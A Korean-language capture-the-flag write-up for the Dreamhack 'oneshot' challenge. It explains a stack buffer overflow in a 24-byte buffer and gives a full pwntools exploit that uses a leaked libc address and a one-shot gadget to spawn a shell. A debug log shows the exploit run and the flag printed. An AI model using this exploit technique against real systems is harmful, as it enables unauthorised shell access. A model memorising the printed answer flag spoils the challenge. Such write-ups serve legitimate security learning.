Description

    이 문제는 작동하고 있는 서비스(oneshot)의 바이너리와 소스코드가 주어집니다.
    프로그램의 취약점을 찾고 셸을 획득한 후, “flag” 파일을 읽으세요.
    “flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
    플래그의 형식은 DH{…} 입니다.

    Environment

    Ubuntu 16.04
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

    분석

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char buf[24]; // [rsp+10h] [rbp-20h] BYREF
      __int64 v5; // [rsp+28h] [rbp-8h]
    
      v5 = 0LL;
      initialize(argc, argv, envp);
      printf("stdout: %p\n", stdout);
      printf("MSG: ");
      read(0, buf, 46uLL);
      if ( v5 )
        exit(0);
      printf("MSG: %s\n", buf);
      memset(buf, 0, 0x10uLL);
      return 0;
    }

    buf를 입력받는데 정해진 24바이트 크기보다 더 큰 46바이트를 입력받을 수 있기 때문에
    버퍼 오버플로우가 발생한다.

    스택 구조는 아래와 같다.

    ret
    ———————————
    이전 함수의 base pointer <- rbp
    ———————————
    check (v5) <- rbp – 0x8
    ———————————
    buf[24] <- rbp – 0x20

    페이로드를 구성하면 다음과 같다.

    buf[24]를 덮을 더미 데이터 24바이트 + v5를 덮을 “\x00” 8바이트 + rbp를 덮을 더미 데이터 8바이트 + ret을 덮을 one-shot gadget 주소

    One-shot gadget?

    라이브러리 내에 존재하는 가젯으로, 리눅스 시스템에서 특정 조건 하에 pc를 바꾸는 것 만으로 셸을 실행시켜 주는 코드 가젯.

    Example

    mov     rax, cs:environ_ptr_0
    lea     rsi, [rsp+1B8h+var_168]
    lea     rdi, aBinSh     ; "/bin/sh"
    mov     rdx, [rax]
    call    execve
    ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/oneshot$ one_gadget ./libc-2.23.so
    0x45226 execve("/bin/sh", rsp+0x30, environ)
    constraints:
      rax == NULL
    ...

    one_gadget은 아래 명령어로 설치할 수 있다.

    sudo apt install ruby
    sudo gem install one_gadget

    Solution

    from pwn import *
    
    context.log_level = 'debug'
    
    #p = process('./oneshot')
    p = remote('host3.dreamhack.games', 9703)
    
    #stdout_address = p.recvuntil("\n")
    stdout = p.recvuntil("\n").split(b" ")[1].split(b"\n")[0]
    stdout = int(stdout, 0)
    
    libc_base = stdout - 0x3C5620
    oneshot_gadget = libc_base + 0x45226
    
    print(stdout)
    
    p.recvuntil("MSG: ")
    
    payload = b"A"*24 + b"\x00" * 8 + b"A"*8 + p64(oneshot_gadget)
    
    p.sendline(payload)
    
    p.interactive()

    FLAG

    DH{7caac677309f0c97f98cd088e4184671d434b376dd2504df8d6b7ae7da3fc8f5}

    ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/oneshot$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 9703: Done
    [DEBUG] Received 0x17 bytes:
        b'stdout: 0x7f8fc3460620\n'
    140255433197088
    [DEBUG] Received 0x5 bytes:
        b'MSG: '
    [DEBUG] Sent 0x31 bytes:
        00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
        00000010  41 41 41 41  41 41 41 41  00 00 00 00  00 00 00 00  │AAAA│AAAA│····│····│
        00000020  41 41 41 41  41 41 41 41  26 02 0e c3  8f 7f 00 00  │AAAA│AAAA│&···│····│
        00000030  0a                                                  │·│
        00000031
    [*] Switching to interactive mode
    [DEBUG] Received 0x1e bytes:
        b'MSG: AAAAAAAAAAAAAAAAAAAAAAAA\n'
    MSG: AAAAAAAAAAAAAAAAAAAAAAAA
    $ ls
    [DEBUG] Sent 0x3 bytes:
        b'ls\n'
    [DEBUG] Received 0xd bytes:
        b'flag\n'
        b'oneshot\n'
    flag
    oneshot
    $ cat flag
    [DEBUG] Sent 0x9 bytes:
        b'cat flag\n'
    [DEBUG] Received 0x45 bytes:
        b'DH{7caac677309f0c97f98cd088e4184671d434b376dd2504df8d6b7ae7da3fc8f5}\n'
    DH{7caac677309f0c97f98cd088e4184671d434b376dd2504df8d6b7ae7da3fc8f5}

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다